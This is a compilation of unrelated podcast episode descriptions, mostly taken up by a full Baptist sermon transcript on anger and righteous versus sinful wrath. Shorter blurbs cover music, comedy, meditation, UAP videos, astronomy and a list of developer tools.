On this episode of Talking Guitars on Johnny Beane TV, we break down the shocking moment when legendary guitarist Eric Clapton was struck in the chest by an object thrown from the audience during his Madrid concert on May 7th — forcing the show to come to an abrupt stop! What exactly happened? How did the crowd react? And what does this mean for live concerts and artist safety? We're talking all about it LIVE!
A Chinese man had a metal object lodged in his throat for 8 years and refused to get it taken out. Until finally… he did! We put the call out and hear what you have had stuck in your throat. Beware, you may need a strong stomach for some of them.See omnystudio.com/listener for privacy information.
This week the lassies talk inanimate object empathy, theme song nostalgia and miceLike, share, and subscribe to @materialgirlcomedyMake sure to check out:Material Girl Podcast https://linktr.ee/materialgirlcomedyMaterial Girl Live shows https://linktr.ee/materialgirlcomedyMaterial Girl Newsletter https://substack.com/@materialgirlcomedyFollow Susan Riddell & Amanda Dwyer & Material Girl on socials:@susanriddellcomedian https://linktr.ee/susrid@amandadwyerrlolYou can follow Material Girl on Instagram and TikTok for clips, news and more! Leave a 5 star review!Email us your questions: materialgirlthepodcast@gmail.com#podcast #comedy #podcastclips #funny #standupcomedy #jokes #fyp #womenincomedy #materialgirlcomedy #susanriddell #amandadwyer Hosted on Acast. See acast.com/privacy for more information.
John Owen - The Holy Spirit and Sanctification Collected Works Volume 3 The Holy Spirit He is promised and received as a Spirit of sanctification unto and by them that are regenerate,—that is, unto believers,—and only to them.
Would you rather havetentacles for hands and the logistics of other items being our hands... See omnystudio.com/listener for privacy information.
The Cepheus Flare is a nearby regions where a series of supernova explosions have counterintuitively triggered the formation of stars.
Anger is the one vice that almost always believes it's a virtue. We rage, we seethe, we simmer — and we're usually convinced we're completely justified. This Sunday we're taking a road trip through Scripture to look honestly at the fire inside us: what it's telling us, where it goes wrong, and what it looks like when it burns the way God intended. Anger Dr. Eric J. Gilchrest | May 10, 2026 Check out the weekly sermon here or on our SRBC podcast on Apple Podcast and Spotify. This Sunday we're exploring:Why the object of our anger tells us more about ourselves than the thing we're angry about When anger is righteous and when it is not, and how to tell the differenceWhat the Bible actually says about God's anger, and why the God who is "slow to anger, abounding in steadfast love" is not the same God many of us grew up fearingThe “HOT” diagnostic — three questions to ask when the fire rises: is the Heat of my anger proportionate, is the Object of my anger right, and is the the Time I've held onto anger appropriate?How social media has industrialized anger as a commodity to be bought and soldWe're exploring the following passages: Mark 3:1–6 · Genesis 4:3–7 · Exodus 34:6 · Psalm 30:5 · Micah 7:18 · Jonah 4:1–9 · Nehemiah 5:6–7 · Proverbs 16:32 · Matthew 5:21–22 · 1 John 3:15 · Ephesians 4:26–27 · Psalm 4:4 · James 1:19–20 · Romans 12:19 Like what you hear? We'd love to know.At South Run, we read every message personally. Whether you have a question, want to share how God is moving in your life, or are thinking about visiting in person, this is the place to start. If you click the link below, Pastor Eric will personally reach out to you. Listening online? Let us know. Sermon Transcript South Run Baptist Church | Springfield, VAPastor Eric GilchrestMark 3:1–6; Matthew 5:21–22; Exodus 34:6–9; Jonah 4May 10, 2026 — Mother's DayThis is a full sermon transcript from South Run Baptist Church in Springfield, Virginia. In this message, Pastor Eric Gilchrest preaches on anger and wrath as part of the ongoing "The Jesus Way" transformation series on the seven deadly sins. Drawing from Mark 3, Genesis 4, Exodus 34, Jonah 4, and Matthew 5, this sermon takes the congregation on a biblical tour of what Scripture says about anger — the difference between righteous and unrighteous anger, what Jesus' own anger reveals about the nature of God, and how to keep the fire in the fireplace. Announcements: Bridge Walkers and a Joint Service on May 31stGood morning, friends. It's good to be with you. Before we get started, there's just a couple things I want to say. There's something that I haven't alerted you to yet, but this is as good a time as any. So a few weeks ago, right before Easter, I was invited into a group of pastors who met over the course of two days, and there was an evening together. We stayed at a hotel. There was a grant connected to it. And it was a group of white pastors and a group of black pastors in the area here, in the Virginia, D.C., Maryland area. And the hope of this — it's a group called Bridge Walkers, which gets its name from the walk from Selma to Montgomery back in the 60s. And as somebody who lived right outside of Selma in Marion, Alabama, I know the scene well. In fact, I was there at the 50th anniversary of it in 2013, and it was a really powerful event. And so the meeting was one that I definitely wanted to participate in. And as we gathered together, we had some really frank discussions about race in the United States and in the church, and how we can be, as a church, agents of reconciliation.And so the fruit of this and the hope of where this all goes is for our churches of these pastors to do some things together over the coming year or two. And so the first of these is coming up May 31st, which happens to be the exact same day as the picnic. I did not get to pick this, it just kind of happened this way, which is in part why we are holding the picnic immediately after the service. And Jeff was right. I will be dressed for the part, and I need you to be dressed for the part too. The picnic will be fun. We'll have games. We'll drag stuff out. But then we wanted to give enough time for those of you who would like to attend this service to get home, maybe take a nap, or do whatever you do on your Sunday afternoons. And then at 6 p.m., it's up in Glen Arden, Maryland, we will have the first of these services together. I don't know what to expect, but I do expect that God will move, and I expect the Holy Spirit to be present, and I expect some of our preconceived notions to be challenged. I expect transformation is always beckoning us, and I am deeply hopeful for what might come out of this. So put that on your calendar. This is May 31st, just right around the corner, and it is 6 p.m. that evening.Happy Mother's Day: A Childhood Binder and a Mom Who Saw All of YouToday is Mother's Day. Happy Mother's Day to the mothers and the spiritual mothers in the room. I was trying to think of what to say at this point, and what came to mind was a collection of photos that I found from my childhood that my mom had gathered together. It was one of those binders that back in the 1998 time frame when I graduated from high school, that people would put photos into and they'd put words about what was happening at that time. And my mom was way into this. And so she chronicled my whole childhood from zero to 18 and then presented me with this big binder. And now as a father of an 18-year-old, I think about that a little differently.And I think about what it means to be a dad, only because I can't think about what it means to be a mom, because I'm not one. But I know this much on the receiving end of it all. I had a wonderful mom who looked after me in ways that I don't think I'll ever be able to fully appreciate. She saw every last bit of me and who I was, and she was there every step of the way, even if I didn't realize it. And so for all the moms in the room, I am grateful. We are all grateful. And for those of us who have moms who are still alive, may we reach out to them today and give them the thanks that they deserve.Let's begin with some prayer. Heavenly Father, I pray a special prayer of blessing over the mothers in this room today. Lord, the kind of love that you call us into, that agape love, a self-giving kind of love, I can think of no better human example than what mothers do on a day-to-day basis for their children. And so, God, may we all aspire to that. We give you thanks for them, and we give you praise for that kind of love, and may we be drawn into being those kinds of people too. In Christ's name we pray. Amen.The Jesus Way Series: Vanity, the Seven Deadly Sins, and Today's Stop — Anger All right, we are — if you don't know — we are on a road together, a path, right? And this began a few weeks ago. Well, I mean, it kind of began a long time ago, but we're on this transformation kick. But then since Easter, we've been walking in these two ways. And I've been trying to show you that there is this narrow way, right? It's the way that Jesus is drawing us into. It's narrow because fewer people choose it. It's a little hard. There's more friction to it. It requires something of you to be on it. But it is the way to life and to fullness of life and to eternal life. And this is what Jesus is trying to get us to do. But then there is this other way. There's this broad way. It's bigger and wider, and it's much easier to find yourself on it. And it's marked by a number of things. And so two weeks ago, we talked about vanity as one of the markers of this way. And it's easy to just kind of slide into vanity. And then today, we're talking about the broad way again. And I want to talk about anger. And I know it's Mother's Day. So apologies ahead of time for this. I do want you to know there was a toss-up between this and gluttony. And so I put gluttony on Father's Day. So, you know, you can get ready for that too. And I'll say, all of the analogies are aimed at the men in the room today. So all the stories — you know, like I'm looking at guys here — women, you get the day off. So you're welcome. All right, so just clarify a couple things up front. I originally had the name wrath for this sermon, and I was afraid that it might draw up like the wrong image for you. But here's the truth of the matter. The word anger and the word wrath — actually, it's the same thing. The roots of these are the same, like the down deep parts of it. They're just two different words for the same thing. The goal of what I want to accomplish in this sermon today is to really lean into the middle section of this rotten tree that stands before you. We've already touched on vanity, the far left, and we'll get to each of these branches at some point over the weeks here. And then just to remind you, at the base of all of this is your pride and your ego. It's kind of the thing that is the last thing that will die in this earth, right? Because if you could just simply root that part out, then it would take care of the rest. But pride is much trickier than simply just plucking it out like a weed. It has roots that go much deeper than you or I can really frankly imagine. So today we're just focusing on the middle one. We're talking about wrath or anger. And I have thoroughly enjoyed this. Maybe I enjoy it too much. I'm realizing this right now as I said that. I have like a thousand things I want to tell you, and I will only tell you maybe ten of those. And so if you think to yourself, well, Pastor Eric, I wish you had talked about this — I probably could have and maybe should have. But I'm glad that you're leaning in and you're really digging into what you need to know about anger and wrath. Also, it's a pitch to come to Sunday morning Bible study where we do go deeper for a whole hour on this topic. The goal of the sermon is, with the theme of roads and ways and all, to take you on a tour — like a driving tour of your Bible — and the things that it has to say about anger. Think of it this way. We've got a few key destinations I'm trying to get us to. And then as we go to those destinations, there's like bathroom stops I want to point us at, or maybe just a couple things that you should have in your view as we head to these main stops. First Stop — Mark 3:1–6: Jesus Gets Angry in the Synagogue The first stop is the one we read already, which is Mark chapter 3. And so I'd encourage you, please, open your scriptures, open your Bibles to Mark chapter 3 as we dig into what Jesus demonstrates for us about anger. Mark 3:1 to 6. Again, he entered the synagogue, and a man was there with a withered hand. And they watched Jesus to see whether he would heal him on the Sabbath so that they might accuse him. And he said to the man with the withered hand, come over here. And then he said to the Pharisees, he said, is it lawful? Does the law permit? Does your Bible tell me that it's okay to do good or harm on the Sabbath, to save life or to kill it? He's asking them, how do you read your Bible? What's the right thing to do here? But they were silent.And then he looked around at them with anger, grieved at their hardness of heart, and said to the man, stretch out your hand. And he said, I'm going to teach you how to read your Bible. And I'm going to teach you what it looks like to keep the Sabbath. And he stretched it out, and his hand was restored. And the Pharisees went out and they immediately held counsel with the Herodians against him how to destroy him.There are two angry parties here. Jesus gets angry and clearly the Pharisees do as well as they seek to destroy him by the end. There are just a few things that I want to point to in this passage that will become important. And the goal as we make these stops on this journey together is to maybe build up a case of the kinds of things we can say about anger based on what we find in our scriptures. The first would be simply that Jesus does get angry. And it's actually okay for you to be angry too sometimes — with a huge caveat around it. Because anger is actually one — it's the only sin on the list of the seven deadly sins — that it's okay to, we'll say, participate in when it's not a sin. The sin looks a whole lot like the not-sin. It's the only one that looks like this. Knowing how to distinguish between the sinful version of anger and the righteous version of anger, it takes wisdom and it takes maturity. I don't recommend it to the littlest ones among us. It's a little bit like holding a knife. Like, you want to teach someone how to do this and to train them well, or they're going to do what? They're going to cut someone, maybe themselves. And anger is much the same way. And we need to learn how to use it in a controlled manner.But Jesus does get angry. And then I'll say this about his anger. If you read closely, what is he angry at? It's actually remarkably precise here in Mark. He's angry at their hardness of heart. He's not precisely angry at them, just generally, as if Pharisees are awful people or something like this. No, he's angry at something specific. The object that he's directing his anger at is their hardness. There's something in them. And he says there's something really wrong with that. And it provokes some anger in him.The other thing I'd say is that his anger is connected to justice, which is what anger is always connected to, by the way. Usually — well, actually both in the righteous form and the unrighteous form. When something's gone wrong in the world, righteous anger says, something's wrong with the world, and I want to fix it. When anger is unrighteous, usually you're saying, something's wrong with my world, and I want to fix that. The last thing I'd say about this passage is maybe the most important of them all, which is that if you really look closely at verse 5 there, it says this: he looked around at them with anger, grieved. Two emotions are sitting together — anger and grief. Anger and grief. How does one have anger and grief sitting side by side? Well, the only way is if you manage to find empathy for the one you are angry with. It's when moms and dads say it — and I promise they mean it, kids — when they say, this is harder for me than for you. Well, they mostly mean it. I feel grief over having to discipline. I feel grief because I want your world to be right. And Jesus here is feeling grief for the Pharisees, saying, I wish your hearts were not so hard. I could teach you a better way. I could teach you a way to life.Thumos and Orge: Two Greek Words for Anger in the New TestamentAll right, let's keep going on our journey here. Actually, let me pause one more minute. This is a good opportunity to introduce two words that appear in our New Testament. Both of them are words for anger, and they are thumos and orge. It's a hard G. We're still talking about the sin of anger here. Thumos and orge.I want you to think about anger as a fire. This is the metaphor for anger often. And fire, much like a knife, is something that can do damage or it can do good. Thumos is the damaging kind. It flames up quickly. It's the road rage. It's somebody getting upset, right? And it's named specifically in Galatians 5:20 and Ephesians 4:31, if you want to look those up. Galatians 5:20 is right next to the fruit of the Spirit. You know the fruit of the Spirit? These are the ones we love to talk about. But there's the fruit of the flesh right before it. And in this fruit of the flesh is thumos. It's that anger that rages up, right? This is what we're trying to avoid.But the one next to it is orge. And orge — sometimes it is unrighteous anger, it's not always righteous — but it is a controlled anger. It has some measure of control around it, as I say, a controlled burn, right? There are times where if there's a fire in your fireplace, that's a great thing, and it's controlled. But if that fire jumps out of your fireplace and is uncontrolled and creeps up the walls, now we've got a different kind of problem. Our goal today is to learn how to keep that fire in the fireplace.Pit Stop — Genesis 4:3–7: Cain's Anger and the Sin Crouching at the Door All right, we'll move on. We need to take a quick pit stop, however, on this journey and look at Genesis chapter 4, verses 3 to 7. This is the famous story of Cain and Abel. You probably know what happens to Abel and then maybe to Cain. Cain murders his brother. But before he does, we read a little bit about how this gets set up.In the course of time, Cain brought to the Lord an offering of the fruit of the ground. And Abel also brought of the firstborn of his flock and of their fat portions. And the Lord had regard for Abel and his offering. But for Cain and his offering, he did not And so what happens? Well, Cain was very angry, and here we see the burning starts, right? The fire begins to burn. And Cain's face fell, and the Lord said to Cain — the question you should be asking yourself this morning — which is, why are you angry? Why are you angry? When you get angry, why? What is under that for you? It's a very good question. And why has your face fallen? And then he says — God says to him — if you do well, won't you be accepted? And if you do not do well, and here's the key, "sin is crouching at the door. Its desire is contrary to you, but you must master it."And what is the sin here? The sin is anger, and it's burning in him. And he says, you must master it, you must keep this in the fireplace. And if you don't keep this in the fireplace, it's going to destroy everything. We know exactly what happens. The sin that was crouching does what? It leaps out of that fireplace, and Cain kills his brother. And we have the first murder in all of Scripture.Murder is a terrible sin. It's actually not one of the deadly sins, is it? It's not one of the seven. Because underneath murder — and Jesus teaches us this in Matthew 5 — underneath murder sits the thing that's in our heart. We call that anger. Second Stop — Exodus 34:6–9: God Reveals His Nature as Slow to AngerAll right, the next stop on our tour is Exodus chapter 34, verses 6 to 9. I would encourage you, go ahead and pull your Bibles there now. Exodus 34:6–9. This is where Moses is up on the mount, Mount Sinai. He's getting the Ten Commandments. But in this very important scene, God reveals his nature to him. And he tells us, and he reports to us, what kind of God he is.And I'll say God is angry at times. God can have wrath. I do not deny this, and I don't want to even diminish this in any way. But I'd encourage you as we read through this to recognize a very important fact — that even for God, maybe especially for God, who is perfection and the thing that we are trying to strive for — God's wrath and anger flows from his love. Love is the primary, and out of that flows his anger. You might wonder, well, Eric, how in the world does that work? That doesn't seem obvious to me at all. But I would point us back to maybe Mother's Day or the fathers in the room. When you get angry as a parent, like in a good way, a good angry, when you see your child being hurt by somebody and that mama bear rage wells up — why? Because you want to protect your child. An injustice has happened or is about to happen and you want to protect them. God is not dissimilar. He knows what is good for us. He knows when the world is off kilter. He knows when you are off kilter. And he knows that when it is and when you are, that this is destructive to you. And he wants to save you from your destruction. And we call this anger. And it's him maybe punishing or reaching out and trying to fix the situation. And sometimes — and parents know this — the discipline requires something harsh.So it goes like this in verse 6. The Lord passed before him and proclaimed. And this is what the Lord is saying about himself. "The Lord, Yahweh" — and he says it twice, Yahweh, Yahweh — "I am a God who is merciful and gracious, and I'm slow to anger." And there it is, right? I'm not quick to anger. I am slow to anger. I am gracious. I'm merciful. I'm slow to anger. I abound in this. The word here is hesed. It's a steadfast love. It is a love that never quits. It is like a mother's love — like, you can do all kinds of things, but your mom is just going to love you throughout and throughout and throughout. And this is what God is saying of his very self, that he has this kind of hesed love, a steadfast love, of faithfulness. And he keeps steadfast love for thousands. And more than that, he's forgiving. And he forgives all the kinds of words for sin that appear in your Old Testament. Sometimes we call it iniquity, sometimes transgression, and sometimes sin. And he says, I'm willing to forgive all of these things. He then does go into the fact that he is a just God, and there needs to be justice. And so he says he doesn't clear the guilty just by virtue of wiping it away. And he, in fact — and this needs some explanation, and fortunately this is going to have to wait for another day — he visits the iniquity of the fathers on the children and the children's children so that the third and the fourth generation, they sometimes feel the effects of the father's sin. I think you know this to be true just if you look through your family history and you think about your father and his father and his father and the ways in which their failures have a way of creeping through a family line. I think that's what God is teaching us here.And so Moses quickly bows his head toward the earth and he worshiped and he said, "If now I have found favor in your sight, oh Lord, please let this God — let you, God, the one who is merciful and slow to anger — that is the God we need in our midst. Because we're a stiff-necked people and we need you to pardon our iniquity."This is a remarkable passage in its historical context. There are lots of gods in the ancient world, if you don't know. There's a group that's praying to a God named Asherah at this point. And that God happens to be really good at fertility matters. Or there's the folks who are crying out to Baal. And Baal is one of these like really fickle gods who may get angry with you and then doesn't. And you never know who you're going to get with Baal. Or if you fast forward in time, you might get the God of Mars, who is the God of war. And that's the God you're going to meet in the pages of history.But this God, Yahweh, is unlike all the other gods. There is no other God named in history, certainly at this point, who describes himself in the ways that our God describes himself. This description literally changes the course of history. Because we should look to our God, to this God, and say to ourselves, thanks be to God that you are the God who is all of these things, and especially the God who is slow to anger.This passage is, again, as I said, one of the most important in all of the Old Testament, and we know this with certainty because — I've just got a couple here, Psalm 30 and Micah 7 — but you could do a Google search later on how many passages from the Bible as a whole, but especially our Old Testament, appeal to and quote from Exodus 34, and you'll be amazed. The Bible repeats this part of the Bible over and over and over again. Psalm 103, Nehemiah 9, Psalm 86, Joel 2 — or the next stop on our journey, Jonah chapter 4.Third Stop — Jonah 4: HOT Anger and Everything Jonah Gets WrongLet's turn there together. Jonah chapter 4. Jonah is a troubled prophet. I would encourage you, whatever you do, do not look to Jonah as an exemplar. He will let you down. Jonah is one of these — actually he's the only prophet who I can really say that about. The whole book is an upside-down prophet. He's not doing what he should be doing, and he's doing what he should not be doing, and we see this ever so clearly in chapter 4 here.We'll read it. For the sake of time, I'm not going to spend nearly as much time in it, but what we see is an angry prophet. Now, prophets are actually often angry. You should know this. The other prophets are too. They're just angry, typically in the righteous kind of way, because again, if justice is the name of the game for anger — the prophets are looking out and they're seeing injustice and unrighteousness everywhere. And they're shouting at their people, you got to fix this. And they're angry with them. And they say, the world's not right, and it should be. And you need to be doing something about it. Jonah is angry as well, much like the prophets. But he is, we'll say, more self-centered than he should be. And so it goes like this. If you don't know the story of Jonah, the lead up to this point is that he has taken his word of disaster to the Ninevites, and he has said, you need to repent. And they said, okay, we will. And they did. And then God relents, and he does not destroy them. And Jonah is not pleased with this. Chapter 4, starting in verse 1: "It displeased Jonah exceedingly, and he was angry." There you go. It's just kind of on the face of it. He's displeased. He's angry. What's he angry about? That God was the merciful God. He wanted the war God, the wrath God. He wanted Mars. He wanted Baal. But instead, he got Yahweh. And he prayed to the Lord. And he said, "Oh Yahweh, is not this what I said when I was yet in my country? That is why I made haste to flee to Tarshish." If you don't know that part of the story, he didn't even want to go to Nineveh at all, and so he fled. And so he says, this is why I left. I didn't want to come here. And then he just says it outright. "I knew you were a gracious God. You were merciful. You are slow to anger and abounding in steadfast love and relenting from disaster." He said, this is why I didn't want to come. I was looking for Mars. I was looking for the God of war. I wanted you to come in and destroy this whole place. And I knew, I knew you wouldn't do it.Jonah's upset. Does he have a righteous anger? Let's all say it together. No. No, he doesn't. He's showing us all the wrong ways. And he goes on: "Therefore now, Lord, please take my life from me." Twice he's going to ask for this — "for it's better for me to die than to live." And then God asks him the same question, or a similar question to the one Cain gets, right? Do you do well to be angry? Again, the question maybe you're being asked right now. Do you do well to be angry? And Jonah went out of the city, and he sits east of the city, makes a booth for himself there. He sat under the shade till he should see what would become of the city. And the Lord God appointed a plant to come up over Jonah, that it might be a shade over his head to save him from the discomfort. So Jonah was exceedingly glad because of this plant. But when dawn came the next day, God appoints a worm that attacks the plant and it withers. And when the sun rose, God appointed a scorching east wind and the sun beat down on the head of Jonah so that he was faint. And he asked that again he might die and said, it is better for me to die than to live. And God asks another time, do you do well to be angry for the plant? And Jonah says, yes. Wrong answer, Jonah. But he says, yes, I do well to be angry, angry enough to die. And the Lord said — and here's the convicting part — he says, you're angry about all the wrong things. Your anger is an unrighteous anger. You're targeting the wrong targets. You are not upset about what I get upset about. Your anger is self-serving. This is what he's saying when he says in verse 10: "You pity the plant for which you did not labor, nor did you make it grow, which came into being in a night and perished in a night. But shouldn't I have pity on Nineveh, a great city in which there are more than 120,000 souls? Shouldn't I care about that? Shouldn't I have pity on those people? And shouldn't you too, Jonah?"And then the story ends very abruptly. It's kind of one of these where you feel like maybe there's a missing chapter somewhere and someday we'll uncover it. But for today, this is what we get.Diagnosing Your Anger: The HOT Framework — Wrong Heat, Wrong Object, Wrong TimingThere's a few things from this that I want to kind of put into your cap to maybe help you remember something about anger that will help you diagnose it later on. I'm calling this HOT — H-O-T — hot, Jonah's hot anger. So there's the wrong heat, which is to say the wrong heat level. He gets too angry about the wrong things. His anger is the wrong intensity — he gets so angry about this plant. But he's not angry about the right things with regard to the people. And then the wrong object, right? The wrong object of his anger. So he's angry not about what is just or unjust. He's instead angry at God. He's angry at God's mercy and ultimately at the loss of this plant. He's very interested in this plant. And then lastly, the timing of it all is wrong. He stays angry for too long and it burns for too long. He's still upset about leaving Tarshish. He brings that back up, right? That was sitting somewhere in his heart that he didn't even want to go at all. And so he's mad at God for taking him out of Tarshish and his own land and heading over to Nineveh. And he's holding this grudge.But all of this speaks something to your anger and my anger, which is sometimes our anger is too hot for the situation. And when the kid spills the milk at the table and you blow up — is that the right heat level? No. No, it's not. The object of our anger — maybe you do blow up at the table, Dad. And you get angry with the kid in that moment. But that's not even the object of your anger. You're angry from work earlier that day where your boss said something to you that you didn't like. And now you're upset generally speaking, and then when the kid spills the milk, you yell at him. That is not the object of your anger. Don't take it out on him. Or the timing of it all — maybe you've been holding this grudge for years, and you've just been gathering it over time. This is why we need to forgive, and we need to reduce our resentments. And if we are going to walk this Jesus way, the way that leads to life, it is going to require some wisdom around all three of these things. Final Stop — Matthew 5:21–22: Jesus on Anger, Murder, and What's Sitting in Your HeartAll right, one more stop on the way. This one's Matthew 5:21 and 22. This is Jesus' Sermon on the Mount. This is perhaps the passage maybe I should have preached from, so I am. "You have heard that it was said to those of old, you shall not murder, and whoever murders will be liable to judgment. But I say to you that everyone who is angry" — and there Jesus is just calling it out for us, even if you've got anger in your heart — "will be liable to judgment. Whoever insults his brother will be liable to the council, and whoever says you fool will be liable to the hell of fire."There's a lot in this passage. A lot can be said, so I'll just keep it simple. If anger is sitting at the root of this and it's sitting in our hearts, there are any number of fruit that can come out of that anger. Sometimes it's murder. I hope that's not the case for any of us. But sometimes it's just calling someone, you fool, you idiot. Or maybe it's just the rolling of your eyes at that person you think is an idiot. Or maybe it's you online. Maybe it's what you're saying in the comment box, right? To say, you don't know what you're talking about. And it's a self-righteous kind of anger. And it sits there and it burns.And here's what I'd say about all this. There is a destruction that is happening. Jesus calls this the way of destruction for a reason. Because you are aiming at God, believe it or not, when your anger is unrighteous. Because you are saying, the world is not as it should be, and I don't trust God to fix it. So I am going to fix it myself. And then the damage you're doing is all around you too. This one's a little more obvious — if you walk through the world and you're an angry person, constantly throwing barbs at other people, you are affecting them. You are changing the climate of the room when you just simply walk into it. But then also, what may be missed is that you — you are destroying yourself from the inside out.And it may actually feel good to be angry. I learned this. I didn't realize. I am a non-confrontational person by nature. I don't like conflict. But I have learned over the years some people love conflict. They actually like the fight. To them, it feels good. It feels like you're alive. But what's happening in that situation, and really any situation where anger is burning within you, is that from the inside out, you are being hollowed out. Three Antidotes to Anger: Soft Answers, Lament, and HopeThere are some antidotes to anger, and I will keep these brief, and three. One, Proverbs 15:1 tells us that a soft answer turns away wrath. Jesus teaches us the gentle way, the gentleness, gentle startups. This is always the first step forward. Anger might come way down the road, right? But you need to be slow to it. Number two, lament. Learn to grieve like Jesus grieves in Mark 3. Learn to grieve even alongside your anger. And I would encourage us mere mortals — unlike Jesus, us mere mortals — we should probably start with grief and allow the anger to follow, because it's going to be a much more trustworthy form of anger if we do. And the last thing is hope. Hope. You see, the angry person, as they rage at God — Jonah, as he rages at God — ultimately is saying, I don't trust you, God. I don't trust your way to be the right way. But we need to be people of hope and people of faith who trust that even though it seems like the world is all cattywampus — and it is, like it's all upside down — we hope and we trust that the God of the universe is fixing all the things. And we play our part. And we live as people who expect the unrighteous to receive their due reward and for the wrongs to be made right again. And that we only have control over ourselves and our hearts. And so we better take control of them, lest that fire jump out of the fireplace and begin to burn the house down all around us. Let's pray together. Heavenly Father, you are a passionate God. We are to be passionate people. And some of the angriest among us can show us something about what it means to have passion. But God, it can be dangerous to hold that fire. And so, Lord, we ask for your wisdom. We ask for people who will gather around us and be honest with us about the nature of our anger — whether it's the slow-burning anger that leaps out of the fireplace eventually, or whether it's the kind that just flares up all the time. God, you are teaching us a better way, a narrow way, a way that leads to life. May we walk with you down that. Lord, we pray this in your holy name. Amen. South Run Baptist Church | 8712 Selger Drive, Springfield, VA 22153 | Sunday Worship at 11am Serving Springfield, Burke, West Springfield, Lorton, Alexandria, Fort Belvoir, and Franconia, Virginia. Listen on Apple Podcasts or Spotify
This show has been flagged as Explicit by the host. This is part of the documentation of an API class, documenting a particular a feature:- **Field:** actions **Value:** Create extra relationships e.g. set the type to 'contact' ``` { "trigger": "update", "action": "add", "relationship": "7024", "child": "2085"} ``` *Currently "update" is the only trigger and "add" is the only action.* Tools Joplin - Joplin is an open source, cross platform note-taking app. - https://joplinapp.org/ PHP - A popular general-purpose scripting language that is especially suited to web development. Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world. - https://www.php.net/ MySQL - MySQL is an open-source relational database management system. MariaDB is community driven fork of MySQL, often installing the MySQL package on a Linux distribution will actually install MariaDB. - https://en.wikipedia.org/wiki/MySQL - https://mariadb.org/ - https://www.mysql.com/ Sublime Text - Cross platform text editor - https://www.sublimetext.com/ Typora - A simple yet powerful markdown reader - https://typora.io/ Ubuntu / KUbuntu - https://en.wikipedia.org/wiki/Ubuntu Google Drive / Google Docs - Cloud based workspace, storage and office tools. - https://en.wikipedia.org/wiki/Google_Drive - https://en.wikipedia.org/wiki/Google_Docs Graph databases - A graph database is a database that uses graph structures for semantic queries with nodes, edges, and properties to represent and store data. A key concept of the system is the graph (or edge or relationship). The graph relates the data items in the store to a collection of nodes and edges, the edges representing the relationships between the nodes. - https://en.wikipedia.org/wiki/Graph_database Autojump - autojump is a faster way to navigate your filesystem. It works by maintaining a database of the directories you use the most from the command line - https://github.com/wting/autojump Object Oriented Programming - a programming paradigm based on the concept of objects. Objects can contain data (called fields, attributes or properties) and have actions they can perform (called procedures or methods and implemented in code). - https://en.wikipedia.org/wiki/Object-oriented_programming Grep, Silver Searcher & RipGrep - grep is a command-line utility for searching plaintext datasets for lines that match a regular expression. The Silver Searcher is a code searching tool similar to ack, with a focus on speed. ripgrep is a line-oriented search tool that recursively searches the current directory for a regex pattern. - https://github.com/ggreer/the_silver_searcher - https://github.com/BurntSushi/ripgrep Swagger & OpenAPI - The OpenAPI Specification defines a standard, language-agnostic interface to HTTP APIs which allows both humans and computers to discover and understand the capabilities of the service. - https://swagger.io/specification/ Zeal - an offline documentation browser for software developers. - https://zealdocs.org/ Ollama - a tool to get up and running with large language models, especially allowing installation on a local machine. - https://ollama.com/ SSH Config - A file typically with the path '~/.ssh/config' used for setting options of the secure shell client that connects the terminal to remote computers. - https://man7.org/linux/man-pages/man5/ssh_config.5.html Provide feedback on this episode.
In “The Most Slept-On Meditation Object,” Vince Horn introduces the kasina — the visual concentration object that dominated Early Buddhist practice yet is barely used today — and lays out a 12-week curriculum that maps color & elemental kasinas onto the full arc of the eight jhānas, and then finishes with the technodelic practice of breath kasina. Interested in the topic?Sign-up for free the KASINA web applicationor join us for a live training in the Pragmatic Dharma Sangha
(00:00:00) The Pentagon's UAP Program and the Gimbal Video (00:00:40) Setting the Stage for UAP Analysis (00:02:34) Mark von Rennakamp's Background and Interest in UAPs (00:06:07) The Gimbal Video: A Bizarre Infrared Anomaly (00:10:10) The Importance of Aviator Training and Equipment (00:14:18) Debunkers and Skeptics in the UAP Community (00:16:58) Support the Good Trouble Show (00:18:13) Analyzing the Gimbal Video: A Methodical Approach (00:23:38) The Object's Infrared Signature and Flight Path (00:34:22) Radar Data and the Fleet of Objects In this episode, Marik von Rennenkampff debunks Mick West's Metabunk analysis of the famous "Gimbal" UAP/UFO video released by the New York Times in 2019. We explore the video, its significance, extraterrestrial implications, and what it means for UFO disclosure and alien encounters.Become a supporter of this podcast: https://www.spreaker.com/podcast/the-good-trouble-show-uap-science-investigative-journalism--5808897/support.Sponsorship Inquires: sponsors@thegoodtroubleshow.comSubstack: https://substack.com/@thegoodtroubleshowLinktree: https://linktr.ee/thegoodtroubleshowPatreon: https://www.patreon.com/TheGoodTroubleShowYouTube: https://www.youtube.com/@TheGoodTroubleShowTwitter: https://twitter.com/GoodTroubleShowInstagram: https://www.instagram.com/thegoodtroubleshow/TikTok: https://www.tiktok.com/@goodtroubleshowFacebook: https://www.facebook.com/The-Good-Trouble-Show-With-Matt-Ford-106009712211646Threads: @TheGoodTroubleShowBlueSky: @TheGoodTroubleShow
Episode 366 A Pluto-sized object in the outer solar system has shocked scientists. It's so tiny that it shouldn't have an atmosphere - but it does. Object 2002 XV93, known as a plutino, is a small rock floating about in the Kuiper belt - a doughnut-shaped region of icy objects out near Pluto. What's surprising is that many dwarf planets bigger than this object can't hold an atmosphere, so it's a mystery how this is even possible. This discovery comes as the decades-long debate about Pluto begins to bubble up again. Pluto was demoted from its planet status in 2006. But now NASA Administrator Jared Isaacman is reigniting the debate - on a controversial mission to make Pluto a planet again. So with this mysterious object and its unexpected atmosphere, plus the chance of Pluto being reinstated, do we need to change how we define planets? Is everything just a planet now? Rowan Hooper and Penny Sarchet are joined by Jacob Aron and James Woodford to discuss the many ramifications of this new finding. To read more about these stories, visit https://www.newscientist.com/ Learn more about your ad choices. Visit megaphone.fm/adchoices
My Favorite Object by Aiden by 826 Valencia
